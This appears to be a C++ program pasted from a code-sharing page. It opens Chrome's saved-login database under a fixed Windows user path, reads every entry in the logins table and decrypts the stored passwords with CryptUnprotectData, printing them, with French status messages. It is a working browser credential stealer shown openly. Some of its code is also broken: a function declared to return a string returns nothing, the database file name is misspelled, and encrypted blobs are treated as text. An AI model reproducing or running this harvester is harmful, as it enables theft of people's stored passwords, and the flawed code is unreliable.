1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| #pragma comment(lib, "crypt32.lib")
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <sqlite3.h>
#include <Wincrypt.h>
std::string Decrypt(char* pass)
{
printf("%x\n\n",pass);
printf("%d\n",sizeof(pass));
printf("debut du decryptage");
DATA_BLOB DataIn;
DATA_BLOB DataVerify;
BYTE* pbDataInput = (BYTE*)pass;
DWORD cbDataInput = strlen((char*)pbDataInput) + 1;
printf("%d\n",cbDataInput);
DataIn.pbData = pbDataInput;
DataIn.cbData = cbDataInput;
if (CryptUnprotectData(
&DataIn,
NULL,
NULL, // Optional entropy
NULL, // Reserved
NULL, // Optional PromptStruct
0,
&DataVerify))
{
printf("The decrypted data is: %s\n", DataVerify.pbData);
}
else
{
printf("Decryption error: %d\n",GetLastError());
}
}
static int callback(void *data, int argc, char **argv, char **azColName){
int i;
fprintf(stderr, "%s: ", (const char*)data);
for(i = 0; i<argc; i++){
printf("%s = %s\n", azColName[i], argv[i] ? argv[i] : "NULL");
std::string colname = azColName[i];
if (colname == "password_value")
{
printf("%x\n", argv[i]);
Decrypt(argv[i]);
}
}
printf("\n");
return 0;
}
int main()
{
sqlite3 *db;
char *zErrMsg = 0;
int rc;
char *sql;
const char* data = "Callback function called";
rc = sqlite3_open("C:\\Users\\Serveur\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\LoginData",&db);
if (rc){
fprintf(stderr,"impossible d'ouvrir la database: %s\n",sqlite3_errmsg(db));
return (0);
}
else {
fprintf(stderr,"ouverture de la database reussie\n");
}
sql = "SELECT * from logins";
rc = sqlite3_exec(db,sql,callback,(void*)data,&zErrMsg);
if( rc != SQLITE_OK ) {
fprintf(stderr, "SQL error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
} else {
fprintf(stdout, "Operation done successfully\n");
}
sqlite3_close(db);
return 0;
} |